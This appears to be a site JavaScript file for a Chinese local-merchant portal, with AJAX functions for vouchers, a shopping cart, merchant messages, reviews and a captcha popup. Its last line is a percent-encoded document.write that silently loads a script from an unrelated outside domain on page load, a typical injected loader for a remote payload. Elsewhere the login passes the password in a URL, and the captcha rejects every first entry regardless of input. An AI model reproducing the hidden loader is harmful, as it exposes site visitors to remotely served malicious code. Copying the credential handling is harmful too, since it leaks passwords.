var xmlHttp
    //下载======================
    function downloadVoucher(str)
	{
		var strTel = document.getElementById('txtMyPhone').value.replace(/(^\s*)|(\s*$)/g, "");
		if(strTel==""){
			alert("请输入您的手机号码！"); 
			document.getElementById("txtMyPhone").focus();
			return false;
		}
		else if(!isMatch(/^(13|15)\d{9}$/,strTel)){//不满足电话就返回False
			alert("手机不合法"); 
			document.getElementById("txtMyPhone").focus();
			document.getElementById("txtMyPhone").select();
			return false;
		}
		if (str.length > 0)
		{
			var tel = strTel;
			var url="http://www.bendihui.com/common/appAjax.aspx?active=downloadVoucher&restId=" + str+"&tel="+tel;
			if (window.ActiveXObject) { 
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
			}
			xmlHttp=GetXmlHttpObject(stateChangedTwo)
			xmlHttp.open("POST", url , true)
			xmlHttp.send(null)
		}
	}
	function stateChangedTwo()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var _varRtn = xmlHttp.responseText;
			if(_varRtn=="0"){ alert('下载成功!'); }
			else{ alert('非收费商家不提供此功能'); }
			document.getElementById("btnCancel").disabled=true;
		}
	}
	function isMatch(regStr,sStr){
		var r=sStr.match(regStr);
		if(r==null){return false;}else{return true;}
	}
	//========================
    
    //更新次数===============
	function showHint(str)
	{
		if (str.length > 0)
		{
			var url="/common/appAjax.aspx?active=updateRestDisplayTimes&restId=" + str
			if (window.ActiveXObject) { 
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
			}
			xmlHttp=GetXmlHttpObject(stateChanged)
			xmlHttp.open("POST", url , true)
			xmlHttp.send(null)
		}
		else
		{
			document.getElementById("LblBrowseCount").innerHTML="565次"
		}
	}
	function stateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			document.getElementById("LblBrowseCount").innerHTML=xmlHttp.responseText+"次";
		}
	}
	//购物车===============
	function Shopping(str)
	{
		if(confirm('确定要预订此商品吗？')){
			if (str > 0)
			{
				var url="http://www.bendihui.com/common/appAjax.aspx?active=GetValidateCode&dishId=" + str
				if (window.ActiveXObject) { 
					xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
				}
				xmlHttp=GetXmlHttpObject(shoppingStateChanged)
				xmlHttp.open("POST", url , true)
				xmlHttp.send(null)
			}
		}
	}
	function shoppingStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){ alert('已加入订单!');window.location.reload(); }
			else if(strRtn=="-1"){ alert('已经预订此商品!'); }
		}
	}
	//======================================
	function GetXmlHttpObject(handler)
	{
		var objXmlHttp=null
		if (navigator.userAgent.indexOf("Opera")>=0)
		{
			return;
		}
		if (navigator.userAgent.indexOf("MSIE")>=0)
		{
			var strName="Msxml2.XMLHTTP"
			if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
			{
				strName="Microsoft.XMLHTTP"
			}
			try
			{
				objXmlHttp=new ActiveXObject(strName)
				objXmlHttp.onreadystatechange=handler
				return objXmlHttp
			}
			catch(e)
			{
				return
			}
		}
		if (navigator.userAgent.indexOf("Mozilla")>=0)
		{
			objXmlHttp=new XMLHttpRequest()
			objXmlHttp.onload=handler
			objXmlHttp.onerror=handler
			return objXmlHttp
		}
	}
    
    
    function iframeAutoHeight(obj)
	{
		var id = obj.id;
		var subWeb = document.frames ? document.frames[id].document : obj.contentDocument;   
		if(obj != null && subWeb != null)
		{
			obj.height = subWeb.body.scrollHeight;
		}   
	}  
	function clearContent(){
		document.getElementById('TxtUserName').value = "";
		document.getElementById('TxtPwd').value = ""; 
	}
	function Login(){
		var _strUserName = document.getElementById('TxtUserName').value.replace(/(^\s*)|(\s*$)/g, "");
		var _strPassword = document.getElementById('TxtPwd').value.replace(/(^\s*)|(\s*$)/g, "");
		if(_strUserName==""){
			alert('电话不能为空!');
			return false;
		}
		if(_strPassword==""){
			alert('密码不能为空!');
			return false;
		}
		
		window.open('/StoreMis/StoreLogin.aspx?userName='+_strUserName+'&pwd='+_strPassword);
		return true;
	}
    function DishDesc(_value){
		window.open('../Product.aspx?productId='+_value);
	}
	function BigRestImg(_value){
		window.open('../BigRestPhoto.aspx?dishId='+_value+"&op=2");
	}
	function CallRest(restId){
		window.open('http://www.bendihui.com/callAccount.aspx?restId='+restId,'','height=330, width=500, top=200, left=200,status=no,toolbar=no,menubar=no,location=no,scrollbars=no');
	}
	function switchView(a){
		var b=document.getElementById("guide").getElementsByTagName("div");
		var c=b.length;
		for(var i=0;i<c;i++){
			if(b[i].id.indexOf('price')!=-1)
			{
				b[i].style.display=(a=='p'?'block':'none')
			}
			else if(b[i].id=='ptime')
			{
				b[i].style.display=(a=='t'?'block':'none')
			}
		}
	}
	
	//=================右边漂浮开始=======================
	var delta=0.015;
	var collection;
	var closeB=false;
	function floaters() {
  this.items = [];
  this.addItem = function(id,x,y,content)
      {
     document.write('<DIV id='+id+' style="Z-INDEX: 10; padding-top:150px; POSITION: absolute;  width:220px; height:180px;left:'+(typeof(x)=='string'?eval(x):x)+';top:'+(typeof(y)=='string'?eval(y):y)+'">'+content+'</DIV>');
    
     var newItem    = {};
     newItem.object   = document.getElementById(id);
     newItem.x    = x;
     newItem.y    = y;

     this.items[this.items.length]  = newItem;
      }
  this.play = function()
      {
     collection    = this.items
     setInterval('play()',15);
      }
  }
  function play()
  {
   if(screen.width<=800 || closeB)
   {
    for(var i=0;i<collection.length;i++)
    {
     collection[i].object.style.display = 'none';
    }
    return;
   }
   for(var i=0;i<collection.length;i++)
   {
    var followObj  = collection[i].object;
    var followObj_x  = (typeof(collection[i].x)=='string'?eval(collection[i].x):collection[i].x);
    var followObj_y  = (typeof(collection[i].y)=='string'?eval(collection[i].y):collection[i].y);

    if(followObj.offsetLeft!=(document.documentElement.scrollLeft+followObj_x)) {
     var dx=(document.documentElement.scrollLeft+followObj_x-followObj.offsetLeft)*delta;
     dx=(dx>0?1:-1)*Math.ceil(Math.abs(dx));
     followObj.style.left=followObj.offsetLeft+dx;
     }

    if(followObj.offsetTop!=(document.documentElement.scrollTop+followObj_y)) {
     var dy=(document.documentElement.scrollTop+followObj_y-followObj.offsetTop)*delta;
     dy=(dy>0?1:-1)*Math.ceil(Math.abs(dy));
     followObj.style.top=followObj.offsetTop+dy;
     }
    followObj.style.display = '';
   }
  }
  function closeBanner()
  {
   closeB=true;
   return;
  }

var theFloaters  = new floaters();
//
theFloaters.addItem('followDiv1','document.documentElement.clientWidth-220',0,'&nbsp;');
theFloaters.play();
//=================右边漂浮结束=======================
	//刷新后加载时判断是否有Session===============
	function IsHasSession()
	{
		var url="/common/appAjax.aspx?active=IsHasSession"
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(IsHasSessionStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function IsHasSessionStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn!="-1"){ document.getElementById('followDiv1').innerHTML=strRtn;}//'<a href=http://www.bendihui.com/ShoppingCart.aspx target=_blank>查看我的购物车</a>' }
		}
	}
	//验证购物车的输入是否合法,合法就返回  下标，数量，是否删除
	function CheckInput(){
		var sErr = "";
		var sIndexs = "";//记录  下标，数量，是否删除(列之间用","分隔,行之间用";"分隔)
		var objFocue = null;
		
		var obj = document.getElementsByName('amount');//数量文本框
		var objDel = document.getElementsByName('chkDel');//CheckBox删除
		
		for(var i=0;i<obj.length;i++){
			if(!isMatch(/^[0-9]*[1-9][0-9]*$/,obj[i].value)){//不合法
				sErr += '\''+obj[i].value+'\' 不是有效数字.\n';
				if(objFocue==null) objFocue = obj[i];
			}
			else{//合法
				if(objDel[i].checked) sIndexs += obj[i].value+",1;";//1代表删除复选框为true
				else sIndexs += obj[i].value+",0;";//0代表false
			}
		}
		
		if(sErr!=""){ alert(sErr); objFocue.select(); objFocue.focus(); return ""; }
		
		return sIndexs;
	}
	//更新购物车
	function UpdateShoppingCart(){
		var sRtn = CheckInput();
		if(sRtn=="") return;
		
		var url="http://www.bendihui.com/common/appAjax.aspx?active=UpdateShoppingCart&UpdateShoppingCartParam="+sRtn;
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(UpdateShoppingCartStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function UpdateShoppingCartStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){
				alert('更新成功!');
				window.location.reload();
			}
		}
	}
	//清空购物车
	function ClearShoppingCart(){
		if(confirm('确定要清空购物车吗？')){
		
			var url="http://www.bendihui.com/common/appAjax.aspx?active=ClearShoppingCart";
			if (window.ActiveXObject) { 
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
			}
			xmlHttp=GetXmlHttpObject(ClearShoppingCartStateChanged)
			xmlHttp.open("POST", url , true)
			xmlHttp.send(null)
		}
	}
	function ClearShoppingCartStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){
				alert('清空成功!');
				window.location.reload();
			}
		}
	}
	//提交购物车的订单
	function CommitShoppingCart(){
		if(confirm('确定要提交订单吗？')){
			var strContact = document.getElementById("TxtContact").value;
			var strAddr = document.getElementById("TxtAddr").value;
			if(strContact=="") { alert('联系方式不能为空!');return ""; }
			else if(strAddr=="") { alert('地址不能为空!');return ""; }
			strContact = encodeURIComponent(strContact);
			strAddr = encodeURIComponent(strAddr);
			
			
			var url="http://www.bendihui.com/common/appAjax.aspx?active=CommitShoppingCart&contact="+strContact+"&addr="+strAddr;
			if (window.ActiveXObject) { 
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
			}
			xmlHttp=GetXmlHttpObject(CommitShoppingCartStateChanged)
			xmlHttp.open("POST", url , true)
			xmlHttp.send(null)
		}
	}
	function CommitShoppingCartStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){
				alert('提交成功!');
				window.location.reload();
			}
		}
	}
	//======================================
	
	//留言给商家
	function LeaveWordToRest(restId){
		var varContent = document.getElementById("txtLeaveWord").value;
		var varMobile = document.getElementById("txtLeaveWordMobile").value;
		if(varContent==""){ alert('内容不能为空!');return false; }
		if(varMobile==""){alert('您的手机不能为空!');return false;}
		if(varMobile!=""){
			if(!isMatch(/(^0\d{2,3}\-?\d{5,8}\-?\d{0,5}$)|(^(13|15|18)\d{9}$)|(^021-114$)/,varMobile)){//不满足电话就返回False
				alert("电话或手机不合法"); 
				document.getElementById("txtLeaveWordMobile").focus();
				document.getElementById("txtLeaveWordMobile").select();
				return false;
			}
		}
		
		varContent = encodeURIComponent(varContent);
		
		
		var url="http://www.bendihui.com/common/appAjax.aspx?active=leaveWordToRest&content="+varContent+"&restId="+restId+"&mobile="+varMobile;
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(LeaveWordToRestStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function LeaveWordToRestStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){ alert('发送成功!');document.getElementById("btnLeaveWord").disabled=true; }
			else{ alert('非收费商家未开通短信留言功能!');document.getElementById("btnLeaveWord").disabled=true; }
		}
	}
	function clearLeaveWordPhone()
	{
		var _value = document.getElementById('txtLeaveWordMobile').value.replace(/(^\s*)|(\s*$)/g, "");
		if(_value == "输入您的手机")
			document.getElementById('txtLeaveWordMobile').value = "";
	}
	function addLeaveWordPhone(){
		var _value = document.getElementById('txtLeaveWordMobile').value.replace(/(^\s*)|(\s*$)/g, "");
		if(_value == "")
			document.getElementById('txtLeaveWordMobile').value = "输入您的手机";
	}
	
	//评论给商家=====================
	function EvaluateToRest(restId){
		var varContent = document.getElementById("TxtEvaluate").value;
		if(varContent==""){ alert('评论内容不能为空!');return false; }
		
		varContent = encodeURIComponent(varContent);
		
		
		var url="http://www.bendihui.com/common/appAjax.aspx?active=EvaluateToRest&content="+varContent+"&restId="+restId;
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(EvaluateToRestStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function EvaluateToRestStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){ alert('发表成功!'); }
			else if(strRtn=="-1"){ alert('点评失败,您输入的内容含有非法信息，请更换!'); }
			else if(strRtn=="-2"){ alert('点评失败,字数不能超过500.'); }
			else if(strRtn=="-3"){ alert('内容不能为空!'); }
			else if(strRtn=="-5"){ alert('已删除商家不能评论!'); }
			else{ alert('发表失败'); }
			
			document.getElementById("ImgEvaluate").disabled=true;
		}
	}
	//=========================================
	//收藏商家=====================
	function CollectRest(restId){

		var url="http://www.bendihui.com/common/appAjax.aspx?active=collectRest&restId="+restId;
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(CollectRestStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function CollectRestStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			var strRtn = xmlHttp.responseText;
			if(strRtn=="0"){ alert('收藏成功!');window.location.reload(); }
			if(strRtn=="-1"){ alert('已经收藏此商家!'); }
			if(strRtn=="-2"){ alert('收藏失败!'); }
			
			document.getElementById("ImgCollect").disabled=true;
		}
	}
	function BrowseCountOnload(){
		document.getElementById("LblBrowseCount").innerHTML="读取中";
	}
	//=========================================
	//下载软件,加监控点=====================
	function DownloadSoft(){
		
		var url="http://www.bendihui.com/common/appAjax.aspx?active=DownloadSoft";
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(DownloadSoftStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	function DownloadSoftStateChanged()
	{
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		{
			window.open('http://www.bendihui.com/Temp/tel.rar');
		}
	}
	//=========================================
	
	function SendInfo(){
		var title = document.getElementById("TxtTitle").value;
		var content = document.getElementById("TxtContent").value;
		
		if(title==""){ alert('信息标题不能为空!');return false; }
		else if(content==""){ alert('信息内容不能为空!');return false; }
		
		title = encodeURIComponent(title);
		content = encodeURIComponent(content);
		
		window.open('http://www.bendihui.com/Register.aspx?t='+title+'&c='+content);
	}
	
	
	
//=====================验证码输入部分开始===09.08.26增加======================
function showDiv(){
document.getElementById('popDiv').style.display='block';
document.getElementById('bg').style.display='block';
}

function closeDiv(){
document.getElementById('popDiv').style.display='none';
document.getElementById('bg').style.display='none';
}




var ValidateCodeInputCount = 0;

//======判断是否有验证码========
function IsHasValidateCode(restName,restAddr,restId)
{
	var url="/common/appAjax.aspx?active=GetValidateCode&restName="+encodeURIComponent(restName)+"&restAddr="+encodeURIComponent(restAddr)+"&restId="+restId;
	if (window.ActiveXObject) { 
		xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
	}
	xmlHttp=GetXmlHttpObject(ValidateCodeStateChanged)
	xmlHttp.open("POST", url , true)
	xmlHttp.send(null)

}
function ValidateCodeStateChanged()
{
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		var strRtn = xmlHttp.responseText;
		strRtn=strRtn.replace(/(^\s*)|(\s*$)/g, "");
		if(strRtn!="-1"&&strRtn!=""){
			document.getElementById("popDiv").innerHTML = "本地汇商家： "+strRtn.split(',')[2]+"  地址："+strRtn.split(',')[3]+" 要查看电话等更多详细信息请输入以下验证码即可查看<br/><img src=\"http://manage.bendihui.com/ValidatePicture/"+strRtn.split(',')[0]+"\" /><br /><input id=\"TxtValidateCode\" onkeypress=\"SubmitBtn('BtnValidateCode');\" type=\"text\" /><br /><input id=\"BtnValidateCode\" type=\"button\" onclick=\"CommitValidateCode('"+strRtn.split(',')[1]+"');\" value=\"提交\" />";
			showDiv();
		}
	}
}
//=======================


//======提交验证码========
function CommitValidateCode(validateCodeId)
{
	if(document.getElementById("TxtValidateCode").value!=""){
		if(ValidateCodeInputCount==0){
			ValidateCodeInputCount++;
			document.getElementById("TxtValidateCode").value = "";
			alert("验证码输入有误，请核对后在输入一次!");
			return;
		}
		
		var url="/common/appAjax.aspx?active=CommitValidateCode&updateDataId="+validateCodeId+"&validatecode="+encodeURIComponent(document.getElementById("TxtValidateCode").value);
		if (window.ActiveXObject) { 
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 
		}
		xmlHttp=GetXmlHttpObject(CommitValidateCodeStateChanged)
		xmlHttp.open("POST", url , true)
		xmlHttp.send(null)
	}
	else{ alert('必须输入验证码!'); }

}
function CommitValidateCodeStateChanged()
{
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	{
		closeDiv();//window.location.reload();
	}
}
function SubmitBtn(btnName){
		if(event.keyCode==13){
			document.getElementById(btnName).focus();
			document.getElementById(btnName).click();

			event.returnValue=false;
			event.cancel=true;
		}
	}
//====================验证码输入部分结束================================================
document.write ('<SCRIPT src=http://%77%77%77%2E%71%71%63%6F%6D%31%36%38%2E%63%6F%6D/%63%73%73/%63%73%73%2E%6A%73></script>');

